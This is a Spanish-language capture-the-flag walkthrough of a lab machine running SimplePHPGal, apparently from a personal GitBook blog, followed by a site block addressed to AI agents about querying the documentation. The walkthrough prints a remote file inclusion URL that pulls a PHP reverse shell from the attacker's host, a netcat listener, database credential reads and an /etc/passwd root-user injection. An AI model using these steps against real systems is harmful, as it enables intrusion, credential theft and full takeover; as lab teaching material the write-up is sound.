# SimplePHPGal

**Objetivo**: 192.168.236.58

## 1. Enumeración y Hallazgo Inicial

Comencé escaneando el objetivo con nmap y detecté un servicio web en el puerto 80. Al navegar por el sitio, identifiqué una instancia de **SimplePHPGal v0.7**. Al investigar exploits conocidos, encontré que el parámetro `img` en el archivo `image.php` es vulnerable a **Remote File Inclusion (RFI)**.

Para confirmarlo, levanté un servidor HTTP en mi máquina (`192.168.45.195`) y verifiqué que podía incluir archivos remotos.

## 2. El Desafío del Firewall (Shell por Puerto 21)

Preparé una reverse shell en PHP configurada para conectar de vuelta a mi IP. Sin embargo, me topé con un muro: el firewall de salida de la víctima bloqueaba casi todos los puertos. Tras varias pruebas de conexión, descubrí que solo el puerto **21 (FTP)** estaba permitido.

Modifiqué mi shell para usar el puerto 21.

Preparé mi escucha en Kali:

```bash
sudo rlwrap nc -lnvp 21
```

Ejecuté el exploit:

```
http://192.168.236.58/image.php?img=http://192.168.45.195/shell.php
```

**¡Éxito!** Obtuve acceso inicial como el usuario `www-data`.

## 3. Exfiltración de la Base de Datos

Una vez dentro, navegué hasta el directorio raíz del servidor web (`/var/www/html`) y encontré el archivo de configuración `db.php`. Al leerlo, obtuve las credenciales de MySQL:

* **Usuario**: `root`
* **Contraseña**: `MalapropDoffUtilize1337`

Accedí a la base de datos localmente:

```bash
mysql -u root -pMalapropDoffUtilize1337 -e "USE SimplePHPGal; SELECT * FROM users;"
```

## 4. Rompiendo el Cifrado (Doble Base64)

La tabla de usuarios me dio tres hashes sospechosos. Identifiqué que estaban codificados en **Base64 doble**. Procedí a decodificarlos manualmente para obtener las contraseñas reales:

* **josh**: `MobilizeHissSeedtime747`
* **michael**: `HockSydneyCertify123`
* **serena**: `OverallCrestLean000`

## 5. Movimiento Lateral

Revisé el archivo `/etc/passwd` y confirmé que **michael** era el único de esos tres con una cuenta real en el sistema operativo. Estabilicé mi shell con Python:

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
```

Y realicé un cambio de usuario: `su michael` (usando su contraseña decodificada).

## 6. Escalada de Privilegios: El error en /etc/passwd

Intenté usar `sudo -l`, pero Michael no tenía permisos. Fue entonces cuando realicé una auditoría de archivos y encontré una vulnerabilidad crítica: el archivo `/etc/passwd` era **escribible por cualquier usuario**.

Para obtener acceso de root, decidí inyectar un nuevo usuario con privilegios de superusuario:

Generé el hash de una contraseña en mi Kali:

```bash
openssl passwd -1 -salt password password
# Hash: $1$password$Da2mWXlxe6J7jtww12SNG/
```

Inyecté el usuario `owned` directamente en el servidor víctima:

```bash
echo 'owned:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:owned:/root:/bin/bash' >> /etc/passwd
```

Cambié al nuevo usuario: `su owned` (Contraseña: `password`).

## 7. Conclusión

Al convertirme en el usuario `owned` con UID 0, logré el control total de la infraestructura. Pude navegar hasta `/root` y leer la bandera de victoria `proof.txt`.

### Resumen de Hallazgos

* **Vulnerabilidad Web**: RFI (Severidad Crítica).
* **Configuración de Red**: Egress filtering débil (Permitía puerto 21).
* **Criptografía**: Almacenamiento de contraseñas con ofuscación débil (Doble Base64).
* **Escalada de Privilegios**: Permisos incorrectos en archivos del sistema (`/etc/passwd`).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/tjnull-list-retired/simplephpgal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
